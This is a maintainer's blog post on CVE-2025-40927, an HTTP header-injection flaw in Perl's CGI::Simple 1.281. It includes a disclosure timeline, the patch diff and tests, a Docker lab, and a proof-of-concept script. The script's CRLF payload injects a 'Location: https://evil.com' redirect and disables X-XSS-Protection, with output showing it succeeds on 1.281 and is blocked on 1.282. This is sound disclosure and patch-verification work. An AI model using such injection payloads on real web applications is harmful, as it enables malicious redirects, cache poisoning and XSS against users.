DISCLAIMER: Image is generated using ChatGPT
.
Introduction
Step 1: Dcoker Compose
Step 2: Test Script
Step 3: Start Services
Step 4: Testing Time
Conclusion
Introduction
In this post, we will try to re-create CVE-2025-40927
, a vulnerability in CGI::Simple
version 1.281 or earlier.
2025-08-27T15:46:00
: The vulnerability was first reported by Maxim Kosenko
by email.
2025-08-28T01:59:00
: Thanks to breno
, we were ready with the patch below:
File: lib/CGI/Simple.pm
.
@@ -998,6 +998,7 @@ sub header {
);
my $CRLF = $self->crlf;
+ my $ALL_POSSIBLE_CRLF = qr/(?:\r\n|\n|\015\012)/;
# CR escaping for values, per RFC 822
for my $header (
@@ -1007,11 +1008,12 @@ sub header {
if ( defined $header ) {
# From RFC 822:
# Unfolding is accomplished by regarding CRLF immediately
- # followed by a LWSP-char as equivalent to the LWSP-char.
- $header =~ s/$CRLF(\s)/$1/g;
+ # followed by a LWSP-char as equivalent to the LWSP-char
+ # (defined in the RFC as a space or a horizontal tab).
+ $header =~ s/$ALL_POSSIBLE_CRLF([ \t])/$1/g;
# All other uses of newlines are invalid input.
- if ( $header =~ m/$CRLF/ ) {
+ if ( $header =~ m/$ALL_POSSIBLE_CRLF/ ) {
# shorten very long values in the diagnostic
$header = substr( $header, 0, 72 ) . '...'
if ( length $header > 72 );
Also for unit test.
File: t/120.header-crlf.t
.
@@ -1,5 +1,5 @@
use strict;
-use Test::More tests => 2;
+use Test::More tests => 9;
use Test::Exception;
use CGI::Simple;
@@ -7,14 +7,26 @@ my $cgi = CGI::Simple->new;
my $CRLF = $cgi->crlf;
-is( $cgi->header( '-Test' => "test$CRLF part" ),
- "Test: test part"
+my %possible_crlf = (
+ '\n' => "\n",
+ '\r\n' => "\r\n",
+ '\015\012' => "\015\012",
+);
+for my $k (sort keys %possible_crlf) {
+ is(
+ $cgi->header( '-Test' => "test$possible_crlf{$k} part" ),
+ "Test: test part"
. $CRLF
. 'Content-Type: text/html; charset=ISO-8859-1'
. $CRLF
- . $CRLF
-);
+ . $CRLF,
+ "header value with $k + space drops the $k and is valid"
+ );
-throws_ok { $cgi->header( '-Test' => "test$CRLF$CRLF part" ) }
-qr/Invalid header value contains a newline not followed by whitespace: test="test/,
- 'invalid CRLF caught';
+ throws_ok { $cgi->header( '-Test' => "test$possible_crlf{$k}$possible_crlf{$k} part" ) }
+ qr/Invalid header value contains a newline not followed by whitespace: test="test/,
+ 'invalid CRLF caught for double ' . $k;
+ throws_ok { $cgi->header( '-Test' => "test$possible_crlf{$k}part" ) }
+ qr/Invalid header value contains a newline not followed by whitespace: test="test/,
+ "invalid $k caught not followed by whitespace";
+}
2025-08-28T10:51:00
: The above patch was approved by Maxim Kosenko
.
2025-08-28T11:36:00
: Thanks to Stig Palmquist
, the vulnerability assigned CVE-2025-40927
.
It was time for me to prepare the release and publish.
I waited until the end of play after work, to prepare the release.
2025-08-28T20:12:00
: Finally I patched and released CGI::Simple v1.282.
2025-08-29T01:14:00
: The CVE-2025-40927 was published by Timothy Legge
.
That was a roller coster, well done Maxim
, breno
, Stig
and Tim
.
It was a team work, thanks everyone.
Step 1: Docker Compose
As per the tradition, I try to re-create vulnerability in an isolated Docker
container.
So I had to do the same for CVE-2025-40927
.
First thing first, here is the simple configuration: docker-compose.yml
version: '3.8'
services:
cgi-simple-1281:
image: perl:5.36-slim
working_dir: /app
volumes:
- ./:/app
command: >
sh -c "
cpanm -n CGI::Simple@1.281 &&
tail -f /dev/null
"
cgi-simple-1282:
image: perl:5.36-slim
working_dir: /app
volumes:
- ./:/app
command: >
sh -c "
cpanm -n CGI::Simple@1.282 &&
tail -f /dev/null
"
The line image: perl:5.36-slim
installs the slimmed version of Perl v5.36
.
The line working_dir: /app
, sets the current directory inside the container to /app
.
The line volumes: - ./:/app
, mounts the current host directory into the container’s /app
directory.
The command:
does the core task, installs the relevant version of CGI::Simple
in each services.
Step 2: Test Script
Here is a simple test for the vulnerability.
File: test-exploit.pl
#!/usr/bin/env perl
use v5.36;
use CGI::Simple;
say "CGI::Simple Security Vulnerability Test";
say "=" x 50;
say "Version: $CGI::Simple::VERSION";
say "Test Date: " . localtime;
say "=" x 50 . "\n";
local $ENV{QUERY_STRING} = "redirect=normal%0ALocation:https://evil.com%0AX-XSS-Protection:0";
local $ENV{REQUEST_METHOD} = "GET";
my $vulnerable = 0;
my @test_results;
# Test 1: HTTP Response Splitting Attack Simulation
say "TEST 1: HTTP RESPONSE SPLITTING SIMULATION";
say "=" x 50;
my $cgi_malicious = CGI::Simple->new;
my $malicious_redirect = $cgi_malicious->param('redirect') || '';
my $visible_redirect = $malicious_redirect;
$visible_redirect =~ s/\n/\\n/g; # Make newlines visible
$visible_redirect =~ s/\r/\\r/g; # Make carriage returns visible
say "Payload: redirect=normal%0ALocation:https://evil.com%0AX-XSS-Protection:0";
say "Decoded (escaped): " . $visible_redirect;
say "Contains newlines: " . ($malicious_redirect =~ /\n/ ? "YES" : "NO");
say "Contains carriage returns: " . ($malicious_redirect =~ /\r/ ? "YES" : "NO") . "\n";
eval {
my $headers = $cgi_malicious->header(
-Location => "/login?redirect=$malicious_redirect",
-Type => 'text/html'
);
# Analyze the generated headers
my @header_lines = split(/\r?\n/, $headers);
my $injected_headers = 0;
for my $line (@header_lines) {
if ($line =~ /^Location:\s*https:\/\/evil\.com/i) {
push @test_results, "❌ CRITICAL: Malicious Location header injected!";
$vulnerable = 1;
say "EXPLOIT SUCCESSFUL! Found malicious Location header";
}
elsif ($line =~ /^X-XSS-Protection:\s*0/i) {
push @test_results, "❌ CRITICAL: X-XSS-Protection disabled via injection!";
$vulnerable = 1;
say "EXPLOIT SUCCESSFUL! X-XSS-Protection disabled";
}
}
# Count Location headers (should only be one)
my @location_headers = grep { /^Location:/i } @header_lines;
if (@location_headers > 1) {
push @test_results, "❌ CRITICAL: Multiple Location headers injected!";
$vulnerable = 1;
say "EXPLOIT SUCCESSFUL! Multiple Location headers found: " . scalar(@location_headers);
}
if (!$vulnerable) {
push @test_results, "✅ HTTP Response Splitting prevented";
say "✅ Header injection prevented successfully";
}
say "Generated headers:";
say "=" x 30;
say $headers;
say "=" x 30;
};
if ($@) {
push @test_results, "✅ HTTP Response Splitting blocked by exception";
say "✅ Header injection blocked with error: $@";
}
# Test 2: Literal Newline Tests
say "\nTEST 2: LITERAL NEWLINE VALIDATION";
say "=" x 50;
my $cgi = CGI::Simple->new;
eval {
$cgi->header(-X_Test => "value\nwith newline");
push @test_results, "❌ Literal newline allowed (should be blocked)";
$vulnerable = 1;
};
if ($@) {
push @test_results, "✅ Literal newline properly blocked";
say "✅ Newline correctly blocked: $@";
}
eval {
$cgi->header(-X_Test => "value\r\nwith crlf");
push @test_results, "❌ CRLF allowed (should be blocked)";
$vulnerable = 1;
};
if ($@) {
push @test_results, "✅ CRLF properly blocked";
say "✅ CRLF correctly blocked: $@";
}
eval {
my $result = $cgi->header(-X_Test => "normal value");
push @test_results, "✅ Normal values work correctly";
say "✅ Normal value accepted";
};
if ($@) {
push @test_results, "❌ Normal value incorrectly blocked";
say "❌ Normal value blocked: $@";
}
# Summary Report
say "\n" . "=" x 50;
say "SECURITY ASSESSMENT SUMMARY";
say "=" x 50;
say "CGI::Simple Version: $CGI::Simple::VERSION";
say "Assessment Date: " . localtime;
say "=" x 50;
foreach my $result (@test_results) {
say $result;
}
say "\n" . "=" x 50;
say "FINAL SECURITY STATUS";
say "=" x 50;
if ($vulnerable) {
say "❌❌❌ VULNERABLE: Security issues detected!";
say " The following attacks are possible:";
say " - HTTP Response Splitting";
say " - Header Injection";
say " - XSS Attacks";
say " - Cache Poisoning";
say "\n RECOMMENDATION: Apply security patches immediately";
} else {
say "✅✅✅ SECURE: No vulnerabilities detected";
say " All security tests passed successfully";
say " HTTP response splitting attacks are prevented";
}
if ($CGI::Simple::VERSION eq '1.281') {
say "\n⚠️ NOTE: Version 1.281 is known to be vulnerable";
say " Upgrade to version 1.282 or apply security patches";
}
Step 3: Start Services
Now we are ready to create two services:
cgi-simple-1281: CGI::Simple v1.281
cgi-simple-1282: CGI::Simple v1.282
Let’s start the services:
$ docker-compose up -d
Creating network "cve-2025-40927_default" with the default driver
Creating cve-2025-40927_cgi-simple-1281_1 ... done
Creating cve-2025-40927_cgi-simple-1282_1 ... done
Check the status of the services:
$ docker-compose ps
Name Command State Ports
---------------------------------------------------------------------------------
cve-2025-40927_cgi-simple-1281_1 sh -c cpanm -n CGI::Simpl ... Up
cve-2025-40927_cgi-simple-1282_1 sh -c cpanm -n CGI::Simpl ... Up
Step 4: Testing Time
Now we are ready to test the exploit in each services.
First we test in the service cgi-simple-1281
as below:
$ docker-compose exec cgi-simple-1281 perl test-exploit.pl
CGI::Simple Security Vulnerability Test
==================================================
Version: 1.281
Test Date: Wed Sep 3 13:34:24 2025
==================================================
TEST 1: HTTP RESPONSE SPLITTING SIMULATION
==================================================
Payload: redirect=normal%0ALocation:https://evil.com%0AX-XSS-Protection:0
Decoded (escaped): normal\nLocation:https://evil.com\nX-XSS-Protection:0
Contains newlines: YES
Contains carriage returns: NO
EXPLOIT SUCCESSFUL! Found malicious Location header
EXPLOIT SUCCESSFUL! X-XSS-Protection disabled
EXPLOIT SUCCESSFUL! Multiple Location headers found: 2
Generated headers:
==============================
Location: /login?redirect=normal
Location:https://evil.com
X-XSS-Protection:0
Content-Type: text/html; charset=ISO-8859-1
==============================
TEST 2: LITERAL NEWLINE VALIDATION
==================================================
✅ CRLF correctly blocked: Invalid header value contains a newline not followed by whitespace: x-test="value
with crlf" at /usr/local/lib/perl5/site_perl/5.36.3/CGI/Simple.pm line 1018.
✅ Normal value accepted
==================================================
SECURITY ASSESSMENT SUMMARY
==================================================
CGI::Simple Version: 1.281
Assessment Date: Wed Sep 3 13:34:24 2025
==================================================
❌ CRITICAL: Malicious Location header injected!
❌ CRITICAL: X-XSS-Protection disabled via injection!
❌ CRITICAL: Multiple Location headers injected!
❌ Literal newline allowed (should be blocked)
✅ CRLF properly blocked
✅ Normal values work correctly
==================================================
FINAL SECURITY STATUS
==================================================
❌❌❌ VULNERABLE: Security issues detected!
The following attacks are possible:
- HTTP Response Splitting
- Header Injection
- XSS Attacks
- Cache Poisoning
RECOMMENDATION: Apply security patches immediately
⚠️ NOTE: Version 1.281 is known to be vulnerable
Upgrade to version 1.282 or apply security patches
The result is self-explanatory.
Now we repeat the same test in the service cgi-simple-1282
as below:
$ docker-compose exec cgi-simple-1282 perl test-exploit.pl
CGI::Simple Security Vulnerability Test
==================================================
Version: 1.282
Test Date: Wed Sep 3 13:35:52 2025
==================================================
TEST 1: HTTP RESPONSE SPLITTING SIMULATION
==================================================
Payload: redirect=normal%0ALocation:https://evil.com%0AX-XSS-Protection:0
Decoded (escaped): normal\nLocation:https://evil.com\nX-XSS-Protection:0
Contains newlines: YES
Contains carriage returns: NO
✅ Header injection blocked with error: Invalid header value contains a newline not followed by whitespace: location="/login?redirect=normal
Location:https://evil.com
X-XSS-Protect... at /usr/local/lib/perl5/site_perl/5.36.3/CGI/Simple.pm line 1020.
TEST 2: LITERAL NEWLINE VALIDATION
==================================================
✅ Newline correctly blocked: Invalid header value contains a newline not followed by whitespace: x-test="value
with newline" at /usr/local/lib/perl5/site_perl/5.36.3/CGI/Simple.pm line 1020.
✅ CRLF correctly blocked: Invalid header value contains a newline not followed by whitespace: x-test="value
with crlf" at /usr/local/lib/perl5/site_perl/5.36.3/CGI/Simple.pm line 1020.
✅ Normal value accepted
==================================================
SECURITY ASSESSMENT SUMMARY
==================================================
CGI::Simple Version: 1.282
Assessment Date: Wed Sep 3 13:35:52 2025
==================================================
✅ HTTP Response Splitting blocked by exception
✅ Literal newline properly blocked
✅ CRLF properly blocked
✅ Normal values work correctly
==================================================
FINAL SECURITY STATUS
==================================================
✅✅✅ SECURE: No vulnerabilities detected
All security tests passed successfully
HTTP response splitting attacks are prevented
Conclusion
Timeline for the vulnerability:
2025-08-27T15:46:00: First reported by Maxim Kosenko
.
2025-08-28T01:59:00: Patch prepared by breno
.
2025-08-28T10:51:00: Patch approved by Maxim Kosenko
.
2025-08-28T11:36:00: CVE-2025-40927
assigned by Stig Palmquist
.
2025-08-28T20:12:00: Patch released by Mohammad Sajid Anwar
.
2025-08-29T01:14:00: CVE-2025-40927 published by Timothy Legge
.
Happy Hacking !!!